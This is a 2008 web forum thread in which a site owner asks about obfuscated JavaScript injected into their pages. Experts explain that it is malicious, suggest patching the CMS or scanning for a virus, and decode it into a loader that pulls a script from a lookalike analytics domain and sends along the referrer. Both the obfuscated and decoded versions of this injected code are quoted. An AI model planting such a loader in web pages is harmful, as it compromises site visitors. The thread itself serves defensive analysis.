?
Solved

web pages modified on my website: some javascript added

Posted on 2008-11-06
4
Medium Priority
?
798 Views
Last Modified: 2013-11-22
I saw that some of my websites  were modified.
After <html> there are 20-40 lines of blank then a javascript was added

<!--3666ce780cc4f90fc9bfc03849efde5e-><script language=javascript>wly="%";ih="h3csch72h69h70th20language=javh61h73cript>  fh75h6eh63h74ion fh72oqv(m)h7bvah72 cmu,h62h62=\"@h56Uh722h23a=P]:Fh68h29}h65h43h41h7b(h70h4aj7M~+_h45-y3G;h4bh38N5h67h30h6bxh63f!mtvh24. h34h60ih73^'h42z&oTwh71h4fl[dH*Z|h31h2c6h62I9h5ch22uh6eh22,jt=\"\",h6fh2ch69l,h66xh3d\"\",zx;fh6fr(ch6duh3dh30h3bcmu<h6dh2eh6ceh6eh67h74h68h3bcmh75+h2b)h7bh20o=h6dh2ech68arAh74(h63mh75)h3bh69h6ch3dbh62h2einh64h65xh4ff(o)h3bif(h69l>-1h29h7b zx=(h28ilh2bh31)h25h381-1)h3bh69h66(h7ax<h3dh30h29h7ah78h2bh3d81;fx+h3dh62h62.ch68ah72h41h74(zx-h31); }h20elh73eh20h66x+=h6f;}jh74+h3dfh78;doch75h6dh65h6eth2ewrh69h74e(jt);}h3ch2fsch72ih70h74h3e";ceap=unescape(ih.replace(/h/g,wly));var pxv,e;document.write(ceap);pxv="<^f2sJv4[=@0n=0CPu7=$=^f2sJvu>4HTfntC@v q2svCp4u<SAR9]w4[=@0n=0CP\\uj=$=Sf2sJv\\u4SRAP\\u)vvJF//qqq 0TT0[C=@=[svsf^ @Cv/EEnvI 7^?u_HTfntC@v 2C!C22C2_u\\u><\\/SAR9]w>u4}K4</^f2sJv>44";froqv(pxv);</script>

what is this ? What does it does and how to prevent it happens again ?
0
Comment
Question by:yarek
  • 2
4 Comments
 
LVL 35

Expert Comment

by:torimar
ID: 22894048
This is scrambled javascript which was added to your HTML in order to serve malign purposes whenever the site is opened in a browser with Javascript enabled.
If it's harmless, the "hacker" will display a message to your visitors. If it's really malicious, it will make the visitor download and execute malware.

Do you run PHP/MySQL applications on your website, like Content Management Systems, forums etc? Make sure to upgrade them to the latest version immediately, because it will most likely have been an exploit in this software (SQL injection etc.) that enabled the "hacker" to alter your pages.
Make sure you remove the code as well.
0
 
LVL 7

Expert Comment

by:alexpercsi
ID: 22894061
I can't say for sure what it does, but it is probably a manifestation of a virus on the machine where your websites are stored, or developed.

I ran across a similar problem about a month ago when some files turned up with an appended javascript on our source control. Turns out the infestation was from a virus that would leech of some windows event handlers for opening and saving files, appending the javascript to the files if they had certain extensions (html,php,asp,aspx).
Bitdefender was able to detect and remove the virus, and after that we had to manually remove the extra javascript from the pages.

My recommendation is that you run a full virus scan with a competent antivirus application on the server machine and all development machines, remove any virus infestations and then try to remove the script manually and see if it turns up again. It probably won't, if the virus was successfully removed.

I hope this helps, please let me know if you have any questions.

Best Regards,
Alex Percsi.
0
 
LVL 2

Accepted Solution

by:
prakash2007 earned 1500 total points
ID: 22895531
Hi,
I was able to decode the meaning of the scrambled code you posted.

here it is. The output of the above script is that it add another script to the page

<script language="javascript"> document.write( "<SCRIPT language=\"JavaScript\" SRC=\"http://www.googleanalitics.net/__utb.js?"+document.referrer+"\"><\SCRIPT>" ); </script>  

Dont worry about the domain www.googleanalytics.net it is not active. So if it was active, it would have executed the __utb.js script

I have also attached the descrambled code here.
<!--3666ce780cc4f90fc9bfc03849efde5e->
<script language=javascript>
      wly="%";
      ih="
      <script language=javascript>  
         function froqv(m)
                {
                       var cmu,
 
                       bb = "@VUr2#a=P]:Fh)}eCA{(pJj7M~+_E-                        y3G;K8N5g0kxcf!mtv$. 4`is^'Bz&oTwqOl[dH*Z|1,6bI9\"un",
 
                       jt="",
		       o,
                       il,
                       fx="",
                       zx;
                      for(cmu=0;cmu<m.length;cmu++)
                      { 
                              o=m.charAt(cmu);
                              il=bb.indexOf(o);
                              if(il>-1)
                              {
                                    zx=((il+1)%81-1);
                                    if(zx<=0)
                                       zx+=81;
                                   fx+=bb.charAt(zx-1);
                              } 
                             else fx+=o;
                      }
                      jt+=fx;document.write(jt);
                }
        </script>
		";
       var pxv,e;
       document.write(ceap);
       ceap=unescape(ih.replace(/h/g,wly));
       pxv="<^f2sJv4[=@0n=0CPu7=$=^f2sJvu>4HTfntC@v q2svCp4u<SAR9]w4[=@0n=0CP\uj=$=Sf2sJv\u4SRAP\u)vvJF//qqq 0TT0[C=@=[svsf^ @Cv/EEnvI 7^?u_HTfntC@v 2C!C22C2_u\u><\/SAR9]w>u4}K4</^f2sJv>44";
 
      froqv(pxv);
</script>

Open in new window

0
 
LVL 35

Expert Comment

by:torimar
ID: 22896262
Aah, beat me to it ;)

Had been playing around with this script and was just going to post the de-obfuscated version ....
0

Featured Post

Free Tool: Path Explorer

An intuitive utility to help find the CSS path to UI elements on a webpage. These paths are used frequently in a variety of front-end development and QA automation tasks.

One of a set of tools we're offering as a way of saying thank you for being a part of the community.

Question has a verified solution.

If you are experiencing a similar issue, please ask a related question

The recent Petya-like ransomware attack served a big blow to hundreds of banks, corporations and government offices The Acronis blog takes a closer look at this damaging worm to see what’s behind it – and offers up tips on how you can safeguard your…
IF you are either unfamiliar with rootkits, or want to know more about them, read on ....
Established in 1997, Technology Architects has become one of the most reputable technology solutions companies in the country. TA have been providing businesses with cost effective state-of-the-art solutions and unparalleled service that is designed…
Email security requires an ever evolving service that stays up to date with counter-evolving threats. The Email Laundry perform Research and Development to ensure their email security service evolves faster than cyber criminals. We apply our Threat…
Suggested Courses

580 members asked questions and received personalized solutions in the past 7 days.

Join the community of 500,000 technology professionals and ask your questions.

Join & Ask a Question